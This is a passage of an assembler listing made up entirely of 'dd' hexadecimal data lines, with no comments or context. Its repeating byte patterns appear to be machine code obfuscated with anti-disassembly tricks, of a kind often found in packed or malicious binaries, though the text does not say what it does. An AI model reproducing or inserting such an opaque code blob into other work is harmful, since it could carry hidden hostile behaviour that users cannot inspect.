		dd 35BD8B05h, 8105E727h, 0FFFEFF23h, 8C66F9FFh,	0D68166DBh
		dd 0C3F6F0D9h, 0C2840F04h, 6A000000h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0B95EC352h
		dd 2FB300D7h, 2C6762EDh, 9F8B70Fh, 0E70A75BDh, 85036005h
		dd 5E7090Dh, 1C7D8D89h,	0FF6105E7h, 0E72CD995h,	56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0B00790ECh, 0F1A7E527h, 850F7134h, 6, 0C699529h, 0E95005E7h
		dd 14h,	0FD3E65DFh, 6E7DA442h, 2AEE6CDBh, 8881DCD0h, 856AA4C1h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 6664C352h, 0FE9BFh, 943E0000h
		dd 0F59E8063h, 0EFF1509Eh, 3B74DA1h, 417E990h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 4F794EC3h, 0AE8A7h, 951F0000h, 0B9C48100h, 6C9FBF4Dh
		dd 6870Fh, 0BD8B0000h, 5E716F5h, 6A00B05Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E2FEC356h
		dd 0ADF17EE9h, 8BC62AECh, 0E71545B5h, 5DB58B05h, 0E605E72Ah
		dd 56006A70h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 85898C52h, 5E7064Dh, 0B70F71E4h,	0D8B60FF6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 57C35040h
		dd 4CA8C124h, 43F36D51h, 0C1BD8B45h, 0BA05E723h, 6, 0F28BC38Bh
		dd 6A04E8C1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0C548C353h, 0F7661D16h, 2BF28BE2h
		dd 52006AD8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 387EFEEEh, 640DB737h, 0FB8B525Fh, 800F935Eh
		dd 5, 0C716FBBEh, 0F98B5078h, 53006A93h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 6218CF86h
		dd 29F974E4h, 0E7094DB5h, 75B5FF05h, 0BF05E72Ah, 23F3C185h
		dd 1A1D95FFh, 0F78B05E7h, 759B589h, 0B005E7h, 816670E6h
		dd 0E94E97F6h, 0Dh, 1925DB2Dh, 0BBD8540Eh, 1C09B2Ah, 6A71E47Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 30D2C353h, 8E87956h, 5000000h, 8DE953F5h
		dd 66389587h, 3C5EF98Bh, 52830F61h, 6A000002h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6619C356h, 66A0A2BFh, 0F3486BFh, 6BAD8B6h, 0E9000000h
		dd 9, 0BDC79601h, 64C65EB8h, 0E8C38B9Eh, 7, 66EF60C6h
		dd 0E92A6800h, 5, 19B418A1h, 0E8C15F5Fh, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 66C3DACFh, 665384BEh, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0E03E1EC3h, 0EBBF6686h
		dd 2BF08B23h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8E91A5Ch,	8B000000h, 90737A60h, 58E28784h
		dd 2BEDB58Bh, 0D82B05E7h, 177880Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 13710EC3h
		dd 11E9h, 0B2793B00h, 1BF4111Ch, 0C5B0D5F4h, 0C96696CEh
		dd 7B96255h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0D743C352h,	13ECE49Ah
		dd 0C1837C19h, 0B58B5000h, 5E72A69h, 0FD93B5Eh,	10886h
		dd 0B8DF8100h, 6621709Bh, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 3B9DF7C3h, 2669B58Bh
		dd 816605E7h, 0F69242EEh, 840F04C1h, 0C8h, 58F0Fh, 81660000h
		dd 0FF40A7F6h, 0E72CD995h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0CCAA8D8Ah
		dd 6A5B65h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0EFE05DC3h, 199376E6h, 6AC32Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 7FA5C7C3h
		dd 0D436394Eh, 0BF66E712h, 343D0264h, 0F000008h, 3F86h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0AB6F6F5h, 0F519E44h, 8Ah, 8D236000h, 5E71711h
		dd 0FE961h, 66600000h, 66608EBAh, 6156F6BAh, 0BF0FC08Bh
		dd 8BC38BFBh, 8E8D8h, 0C2B90000h, 0EFA82AD6h, 0B58B6A9Eh
		dd 5E7080Dh, 0E585C75Fh, 5F05E71Ah, 6A1EC7CFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0FD88C352h, 70AFA9BCh, 2D09A8F4h, 8B66F38Bh,	0E9C08BF2h
		dd 10h,	0AF8FE2DCh, 0B16C3446h,	294C006Ah, 1E0E834Eh, 2A75BD81h
		dd 7D005E7h, 850F0000h,	37h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 34C35040h, 0E063341Bh, 0A5BD8B75h
		dd 6605E72Eh, 0FFC822BFh, 0E72A7585h, 0BE665105h, 0FF5F2566h
		dd 0E72A75B5h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 25875D13h, 0ACF9DA0Dh
		dd 1D95FFEFh, 6A05E71Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 7497C357h, 0C0F6026h
		dd 0F97A667h, 0C80h, 6820F00h, 89000000h, 0E72F15B5h, 2D953105h
		dd 9005E706h, 6E8h, 0A5A90200h,	0BFEBABA1h, 33775A72h
		dd 0B660525Eh, 840F0Ah,	0E8000000h, 10h, 7E0AF023h, 32062AACh
		dd 4A046F85h, 0A94557F2h, 5E9615Fh, 0C0000000h,	0AA67908Ch
		dd 0C985295Fh, 6605E730h, 6A725CBFh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BB5C352h
		dd 0E704EDB5h, 65B58B05h, 6A05E72Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 58CEC357h
		dd 19B67732h, 870FF28Bh, 6, 1571BD8Bh, 6A05E7h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 1BE089C3h, 0B9BD0BD0h, 5605E70Dh, 2CB5B58Bh,	0F85F05E7h
		dd 85BD8956h, 0F905E712h, 57006A5Fh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 413D1890h
		dd 59805476h, 0A75B58Bh, 860F05E7h, 11h, 6860Fh, 0B58B0000h
		dd 5E730F9h, 8AF78166h,	0F77AE9A3h, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BC2C8C3h
		dd 50006AC1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8D31CF5Dh, 5E7014Dh, 14E9h, 497DA100h, 359D2101h
		dd 10568921h, 151AB71Eh, 759850Ch, 4EBB3h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 2E58C353h, 0D3BF6630h, 76EF81C3h, 6A77EBB6h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0AEE9C356h, 58F38A6h, 29B58949h, 8D05E702h, 0E71AF985h
		dd 6DBD8B05h, 5005E72Dh
		dd 0FE8h, 0E7201F00h, 0CC41F32Bh, 3E63AA4Ah, 0E4F2B9D3h
		dd 2404895Fh, 8E9h, 65D24C00h, 0CC7D62B3h, 4810F26h, 66000000h
		dd 6A1F7ABEh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 967DDCCCh, 8B0F4D4Bh, 20h, 14E8h
		dd 1191C100h, 3B00397h,	626023DBh, 0C065E11Ch, 2BD81EBh
		dd 0E1BD337Dh, 5F05E71Bh, 8DFC006Ah, 0EAF4C385h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0CDD0A128h, 83BC7121h, 8D8905C0h, 5E70725h, 0AE950h
		dd 37D50000h, 2241F1CAh, 1F9F280Ch, 0F240489h, 68Eh, 4DB58B00h
		dd 0F05E701h, 88Fh, 0BD895000h,	5E700D9h, 6A006A5Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0A34C353h, 84A1AEAh,	91BD8BB1h, 6A05E709h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 33C29A6Dh, 0E70E41BDh, 0C595FF05h, 6A05E702h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 4A4CC353h, 9D8D942Ah, 5EA9514h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0CFC35545h,	1397E1DEh, 0BF66F91Ah
		dd 0D3FF5AEAh, 1CE185FFh, 0B16005E7h, 1858B2Fh,	6105E72Dh
		dd 83FE9h, 0E800h, 815D0000h, 0EAF4CDEDh, 0F8BF0F05h, 2A75BD81h
		dd 7D005E7h, 860F0000h,	18Eh, 1F830Fh, 810F0000h, 19h
		dd 13E8h, 0D72ADF00h, 0B8D88BBBh, 0F49E7133h, 9239E2EEh
		dd 286B9709h, 519D8B5Eh, 2B05E726h, 0E726E5B5h,	0E38105h
		dd 0F000001h, 0C89h, 68F0F00h, 8B000000h, 0E71BADB5h, 0FDB0B05h
		dd 0B285h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 9D0953E4h, 5E70731h, 11E9h, 5AB48300h
		dd 2083480Bh, 928469Bh,	3877F4ADh, 0BD837F46h, 5EAF2D6h
		dd 4E840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0F988C352h,	58E9F08Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0EBFBC356h, 8AA81F72h,	89932555h
		dd 0E70B7D9Dh, 0D685C705h, 105EAF2h, 0E9000000h, 5, 0A498BF70h
		dd 15E993h, 81660000h, 0C7CEA7E6h, 0EAF2D685h, 5, 0B1B58B00h
		dd 8D05E721h, 0E726519Dh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 71145E16h
		dd 68B84739h, 0EABE66F2h, 0FF238187h, 6AFFFFFEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 36DC350h, 0BE8h, 7FE40B00h, 7CC35D77h, 10303C2Fh, 14E9h
		dd 69523600h, 3CD67CFCh, 844FC0E9h, 83DD7464h, 0CC8354E7h
		dd 8C665F6Ch, 4C3F6DBh,	52840Fh, 0E9520000h, 14h, 49636BD0h
		dd 0EEB7027Fh, 8842B903h, 515F89C8h, 5CEE061Eh,	0D995FF5Fh
		dd 0E805E72Ch, 5, 3E91644Fh, 0A5B58B71h, 5F05E703h, 9A4EBF90h
		dd 0E9502190h, 7, 87E1EE05h, 90E93EB9h,	6810Fh,	95890000h
		dd 5E72D51h, 3D2E9h, 698D3100h,	0B005E712h, 4DBD0900h
		dd 0E605E70Eh, 0FBB70F70h, 0BE971E4h, 9000000h,	173FF3h
		dd 3FB884F3h, 0B60FDE42h, 56006AD8h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 8EE3A1Ah, 584358F5h
		dd 6BA11h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 57E95C3h, 6AC38BF2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C261C355h
		dd 0FEF3F26Eh, 0AA12A9A9h, 9A953FBFh, 4E8C161h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6BC35242h, 8B026D26h
		dd 0E703D9B5h, 1C5CBF05h, 0F7661705h, 57006AE2h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0EC3D4573h, 0D82B02DAh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 56C35242h, 2054D624h,	7BC34202h, 0FD85310Eh
		dd 5005E70Bh, 1C89F88Bh, 39B58B24h, 0FF05E725h,	0E72A75B5h
		dd 6FBF6605h, 1D95FF71h, 6A05E71Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 27A2C356h
		dd 665600B0h, 5F7D1ABEh, 6A70E6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 269DD8C3h, 8589197Fh
		dd 5E7257Dh, 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 3DDE33C3h, 0BD295777h, 5E70D61h
		dd 0F613C5Eh, 21E83h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BD2B599Bh, 5E72DB1h
		dd 29D8B60Fh, 0E705358Dh, 6BA05h, 9D890000h, 5E721A5h
		dd 8F0FC38Bh, 1Ch, 10E8h, 3894BD00h, 7DC86CFDh,	0BFCA8D2Ah
		dd 66718B72h, 99B50962h, 5E05E715h, 6A04E8C1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0AD77C352h, 0B58B0022h, 5E72499h, 6AE2F766h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 315AC351h, 501453Fh,	11BD8BCBh, 2B05E723h, 55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 2178F75Dh, 0BD89CC36h, 5E71A19h, 0FD82B58h, 13E88h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0BD2366A0h, 0E1B58B7Ch, 8B05E720h, 0E70595B5h
		dd 7B905h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0ADBD5AC3h, 0C1836520h, 0FE900h
		dd 86D40000h, 0A2CE597Ah, 1535A932h, 8DBDFADDh,	61852913h
		dd 3B05E722h, 0C8860FD9h, 66000000h, 6AD98Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0CE2A44C3h
		dd 7D5D012Dh, 0B7D8589h, 0BD8B05E7h, 5E70779h, 0F04C1F6h
		dd 7284h, 95FFFC00h, 5E72CD9h, 0BF665BF5h, 0C32B761Ch
		dd 12E8h, 0CC314900h, 251B335Ah, 0BC5AE759h, 6B0741FCh
		dd 8B3D27F8h, 343D5EF2h, 0F000008h, 3E86h, 6E800h, 0D0650000h
		dd 0BCCFEA01h, 27919509h, 0E95E05E7h, 43h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9AC35242h, 31C2FFB2h
		dd 0E70BC195h, 8BF28B05h, 8E8C0h, 0E3EF0000h, 5C58163h
		dd 0BD29B0F7h, 5E72DB9h, 88CE815Eh, 8B20131Bh, 6AD88BC3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0C7E0C353h, 0E726B585h, 0EE53B505h, 418D891Ah
		dd 8B05E716h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 3D5B14D8h, 7E247E52h, 0FE852h, 0FCF90000h
		dd 9AE7196Ch, 0B05346D4h, 2BB60933h, 5F5E52B0h,	4DBD8B5Fh
		dd 8105E72Ah, 0E72A75BDh, 7D005h, 14850F00h, 29000000h
		dd 0E720898Dh, 0BD235005h
		dd 5E70391h, 7585FF5Eh,	0FF05E72Ah, 0E72A75B5h,	55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 610B39ADh, 12E9E8h, 0A5480000h, 0AF18725Ah, 59977769h
		dd 6E9E8BC1h, 9283B2B6h, 1A1D95FFh, 0E95005E7h,	11h, 4D0EB058h
		dd 4E830ECEh, 0D4C6CEF5h, 8DF82122h, 50905F20h,	14E9h
		dd 6AF58200h, 0AC61272Ch, 0FE4AE8B7h, 0AFA342A2h, 6296A28Ah
		dd 958D0982h, 5F05E725h, 227DBD03h, 9D8905E7h, 5E723C9h
		dd 22C68BBEh, 25B58B47h, 6A05E723h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 349BC355h
		dd 0FC1316E3h, 375BD8Bh, 858905E7h, 5E72F9Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B9C35646h, 31343101h
		dd 15B1B58Bh, 8D8905E7h, 5E72371h, 825C15BEh, 55006A77h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E9AE6E06h, 9, 21BCB5DCh, 7B5528D2h,	95BD8BE8h, 3105E712h
		dd 0E732E99Dh, 0E8A0F05h, 0E9000000h, 9, 0DC495EBh, 2D5C6603h
		dd 31D68137h, 6611E59Bh, 6AF88Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0B5D039C3h, 8B609D48h
		dd 0E730BD95h, 0DE905h,	0B7AE0000h, 0DEFE4EAAh,	0E5F2A002h
		dd 6689A344h, 96FDCF81h, 0F3BF0F61h, 278B0Fh, 0E8510000h
		dd 14h,	71FDA791h, 57CF8BA0h, 480798B8h, 51B5CB7Fh, 83D7E214h
		dd 0E95EF95Fh, 5, 0F3F9B17h, 0F7CBE9F5h, 8B0FFFFFh, 4
		dd 4AB7BE66h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 1F40BBC3h, 0FBD4C596h, 12BF66h
		dd 4EBh, 95890000h, 5E71785h, 5E8h, 7370800h, 525394F1h
		dd 8D5F5F5Eh, 0E71AF985h, 68B0F05h, 8B000000h, 0E723B5B5h
		dd 0FFBF0F05h, 6E990h, 0F7C00000h, 97392105h, 6A9050h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0D3FF49C3h, 3C68768h, 6A171111h, 858B6000h, 5E72C7Dh
		dd 2D759589h, 316105E7h, 0E732E9BDh, 1006A05h, 0E72F7D85h
		dd 50858D05h, 6A05EAFFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 1FF7C353h, 8BF37CC7h
		dd 0F2BF0FF2h, 6A05C083h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 792EC353h, 0C2BAA86Fh
		dd 0FCEB6D19h, 50FEBF0Fh, 9DB4C4BFh, 2404896Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 95C35343h, 9BFB40F7h
		dd 0FE83753h, 0C8000000h, 948E3B6Bh, 0E8942D33h, 93C8D201h
		dd 14E96AEBh, 14000000h, 97F7C220h, 674033D9h, 4EAD6BDAh
		dd 0E7B94EFFh, 5E8D7FFAh, 6A006Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 27C35040h, 4972E558h, 81DF84A8h
		dd 38123D6h, 0C595FF43h, 6A05E702h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6FBEC357h
		dd 89F18B67h, 0E713C1BDh, 149D8D05h, 6A05EA95h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 18FEC353h, 89C2EB6Bh, 0E721A585h, 6AD3FF05h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 4168C353h, 7C01EAFBh, 29D36EE5h, 0AD9BD8Bh, 85FF05E7h
		dd 5E71CE1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	5FC35242h, 0D1525DFh, 99F9614Ah, 0FE924h, 0A98B0000h
		dd 0A948819Ch, 466CD383h, 3462C8BBh, 72DE9E8h, 0E80000h
		dd 5D000000h, 0FF5AED81h, 8B0F05EAh, 6,	273D8501h, 0BD8105E7h
		dd 5E72A75h, 7D0h, 0B8860Fh, 8D890000h,	5E7062Dh, 97D9D8Bh
		dd 0B58B05E7h, 5E708C9h, 100E381h, 0FA8B0000h, 850FDB0Bh
		dd 69h,	99B58B60h, 8005E70Bh, 836169DBh, 0EAFD31BDh, 840F0005h
		dd 0Bh,	24ADBD8Bh, 51E905E7h, 0C7000000h, 0EAFD3185h, 105h
		dd 0E19D8900h, 8B05E70Dh, 0E72F85B5h, 36E905h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 2EAB9EC3h, 17038C21h, 38B0Fh, 0B70F0000h, 3185C7F0h
		dd 5EAFDh, 0FC000000h, 97D9D8Dh, 0BE905E7h, 0BC000000h
		dd 0B02807B8h, 5C40023Eh, 2381A7E7h, 0FFFFFEFFh, 0EDDBD8Bh
		dd 8C6605E7h, 895E52DBh, 0E702399Dh, 4C3F605h, 2D840Fh
		dd 0F18B0000h, 2CD995FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E8EEDAC3h, 24048950h
		dd 0E9F9B70Fh, 3F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 31C35747h, 0B70FB9A5h, 2900B0FFh, 0E708A18Dh
		dd 6A70E605h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 30D9C353h, 81666057h, 0F0877F2h
		dd 686h, 8E0F00h, 61000000h, 830Fh, 71E40000h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 4CC35343h, 53A7D766h
		dd 0D8B60F03h, 2629BD8Bh, 6BA05E7h, 0F5000000h,	6AC38Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BE668DC3h, 0E9529EADh, 5, 7753DBD3h, 0E8C15FD1h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0F1B7FBCCh, 0AE441AA4h, 14E89Bh, 39F40000h, 7B08446Ch
		dd 5F3270DDh, 53DBD340h, 7290D177h, 665F5146h, 6AE2F7h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0E95150C3h, 1C26E8C3h, 0D82BF78Bh, 2C218D01h, 895005E7h
		dd 6A241Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 664C67C3h, 353A7D7h, 0B5FFBB0Ch, 5E72A75h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F4C35343h
		dd 5F23684Fh, 2C8B1F0Bh, 9E956h, 2E3F0000h, 52FE7A6Dh
		dd 0FFF343E1h, 0E71A1D95h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 312C7C52h
		dd 81A549F9h, 51DB589h,	0B005E7h, 6A70E6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 493CB6C3h
		dd 89609102h, 0E726CD85h, 0E461F505h, 0BD895371h, 5E7054Dh
		dd 0F613C5Eh, 1F383h, 70F68100h, 91B9F80h, 0E704E185h
		dd 0D8B60F05h, 8E9h, 32749300h,	47711A1Bh, 6BAA0h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 664879C3h, 0E851FE8Bh, 13h, 65DB6DC9h, 0C843C822h, 94280B7Ah
		dd 0B9FB2EA5h, 6036FD0Ah, 8B5F5F61h, 0C1F38BC3h, 816604E8h
		dd 668C5BDFh, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 7865C9C3h, 0B58B44DFh, 5E73259h
		dd 12E9D82Bh, 0F3000000h, 93B75D83h, 0F7F81B48h, 0C62702Dh
		dd 6DC649E8h, 820F58A2h, 6, 12D5B509h, 0D82B05E7h
		dd 132880Fh, 8B660000h,	14E9F7h, 8AA80000h, 0B6932555h
		dd 4183B7CDh, 8246A57Ch, 0B29190C6h, 7B984E4h, 81000000h
		dd 3127A0EFh, 0C18311h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0FFC35646h, 3BFFBF0Fh, 0E1860FD9h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 4F07C356h, 18536E65h, 0BD335F57h,	5E72041h
		dd 2BD98C66h, 0E72DCDB5h, 4C1F605h, 9E840Fh, 0B5310000h
		dd 5E704CDh, 2CD995FFh,	6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0BA2801C3h, 0E48ECB42h
		dd 0B70FEF90h, 0B58B5BFEh, 5E7094Dh, 6AC32Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 3D74AEC3h
		dd 834h, 3A860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 18E7B7C3h, 60F78B0Ah
		dd 1E9BD89h, 0C18005E7h, 11E961C7h, 2B000000h, 0E722A9BDh
		dd 0F6B70F05h, 9D89C08Bh, 5E70ADDh, 0D88BC38Bh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 4EC35242h, 8D669244h
		dd 0F6814ECEh, 4EF73E23h, 265185C7h, 0CFD705E7h, 6A1E44h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 37D923C3h, 0FE9h, 13EF1300h,	0BB694B92h, 700EBDD5h
		dd 26100E9Dh, 66FCC08Bh, 815FD0BEh, 0E72A75BDh,	7D005h
		dd 32850F00h, 66000000h, 85FFF78Bh, 5E72A75h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F5C35747h, 969871C5h
		dd 0D1BD89B8h, 8B05E713h, 75B5FFF7h, 8105E72Ah,	0DCE76AC7h
		dd 1D95FF67h, 8105E71Ah, 9DE2CBD6h, 0B70F904Bh,	0DE8F2h
		dd 771C0000h, 930E5EF0h, 0A73C94D1h, 0F951EBEh,	681h, 0A0DF8100h
		dd 5F4742FBh, 3BEE8166h, 55006AEEh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 49B58B69h, 8905E723h
		dd 0E73151B5h, 0ADBD8B05h, 905E713h, 0E723CD9Dh, 0E5BD8B05h
		dd 8905E702h, 0E71B3DB5h, 0A6D78105h, 666DAFDCh, 4868E781h
		dd 0D7816060h, 1D6388Ah, 61DBB70Fh, 2D79858Bh, 0F5605E7h
		dd 615AFABFh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	3DC35545h, 8BC2EE14h, 0E71CE5B5h, 0A59D8905h, 6A05E720h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 35EAC351h, 2CC1BD8Bh, 0BF6605E7h,	95892D17h
		dd 5E70215h, 2E2DBD0Bh,	0B70F05E7h, 53006AF3h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 9C7216h, 64B8538Eh
		dd 71BD8B58h, 8905E702h, 0E70BB595h, 0F8FCE905h, 6AFFFFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 13681FC3h, 2A918589h, 0BF05E7h, 8B575A74h, 56006AC1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0A136EC59h, 66F75116h, 0E963C4BEh, 0Ch, 73FEFD82h, 0F83DB9D4h
		dd 838359B9h, 4EBh, 0F88B0000h,	0F9858DF8h, 105E71Ah, 0E7000DBDh
		dd 0F539005h, 85h, 0BE505F00h, 338E351Eh, 3EE78190h, 6A0D3363h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0F08BC01Eh, 6A006Ah, 3E856h, 5E200000h
